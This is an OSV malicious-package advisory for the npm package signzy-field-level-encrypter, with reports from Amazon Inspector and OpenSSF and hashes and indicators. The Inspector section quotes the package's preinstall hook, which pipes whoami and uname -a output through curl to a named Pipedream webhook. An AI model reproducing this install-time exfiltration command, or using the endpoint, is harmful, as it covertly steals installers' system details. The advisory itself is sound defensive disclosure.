MAL-2026-10972

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Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/signzy-field-level-encrypter/MAL-2026-10972.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-10972

Published

2026-07-21T05:00:53Z

Modified

2026-08-04T23:05:29.327598077Z

Summary

Malicious code in signzy-field-level-encrypter (npm)

Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451)

package.json declares a preinstall lifecycle script that runs echo "$(whoami): $(uname -a)" | curl -X POST against a hardcoded Pipedream webhook at https://eob8pyiw2d4hxvk.m.pipedream.net. On npm install, the installer's OS username and kernel/architecture/hostname fingerprint are captured and transmitted to an author-controlled endpoint without consent or opt-out. The destination is a generic Pipedream request-bin, not infrastructure related to any legitimate field-level-encryption purpose the package name implies.

Source: ossf-package-analysis (1620206c32062d89cd35aa65951fb139a004cf78c5d1b0b6eae1e7fb7378238e)

The OpenSSF Package Analysis project identified 'signzy-field-level-encrypter' @ 12.9.13 (npm) as malicious.

It is considered malicious because:

The package communicates with a domain associated with malicious activity.
The package executes one or more commands associated with malicious behavior.

Database specific

{
    "malicious-packages-origins": [
        {
            "source": "ossf-package-analysis",
            "import_time": "2026-07-21T06:01:48.548405847Z",
            "modified_time": "2026-07-21T05:55:43Z",
            "sha256": "1620206c32062d89cd35aa65951fb139a004cf78c5d1b0b6eae1e7fb7378238e",
            "versions": [
                "12.9.13"
            ]
        },
        {
            "source": "ossf-package-analysis",
            "import_time": "2026-07-21T06:01:47.727628469Z",
            "modified_time": "2026-07-21T05:00:53Z",
            "sha256": "a26e1595aeb715183d2d73dae309253708ad01561fa6094f2d5413a3d8f9928d",
            "versions": [
                "12.9.12"
            ]
        },
        {
            "id": "IN-MAL-2026-011214",
            "source": "amazon-inspector",
            "import_time": "2026-08-04T22:30:05.455939245Z",
            "modified_time": "2026-08-04T21:48:49Z",
            "sha256": "0af037030b5bba6dd2e26d9b2964482584befd6078f880d48c5ea438f662b81c",
            "versions": [
                "12.9.13"
            ]
        },
        {
            "id": "IN-MAL-2026-011113",
            "source": "amazon-inspector",
            "import_time": "2026-08-04T22:29:59.923286309Z",
            "modified_time": "2026-08-04T21:34:22Z",
            "sha256": "38314f87203a0860a07c13fed06e2ec374545060b18be84a2d125556b93bc451",
            "versions": [
                "12.9.12"
            ]
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com
- OpenSSF: Package Analysis - FINDER
- - https://github.com/ossf/package-analysis
  - https://openssf.slack.com/channels/package_analysis

Affected packages

npm / signzy-field-level-encrypter

Package

Name: signzy-field-level-encrypter; View open source insights on deps.dev
Purl: pkg:npm/signzy-field-level-encrypter

Affected ranges

Affected versions

12.*

12.9.12

12.9.13

Database specific

indicators

{
    "evidence_files": [
        {
            "sha256": "771b506e127b28756f934568f065c21b2f5dc24ba77bb857df7cb992d253332c",
            "tlsh": "d2e0f1a38d203b3345a08eeb546a471636637f7f12300c05b07b103941453505d6af16",
            "path": "package.json"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha1": "06820e9accc51d880d2d4eff16bfea321b921280",
                "sha512_sri": "sha512-Y6fevOCPkyYlMvUKbyyS4tDkAztEoUi0blScYdvcQ9jl9zL9gkv3kK/NNHo3FGzNEuvnYnn1qdEdumfHJ5edfQ=="
            },
            "filename": "signzy-field-level-encrypter-12.9.13.tgz"
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/signzy-field-level-encrypter/MAL-2026-10972.json"

cwes

[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    },
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]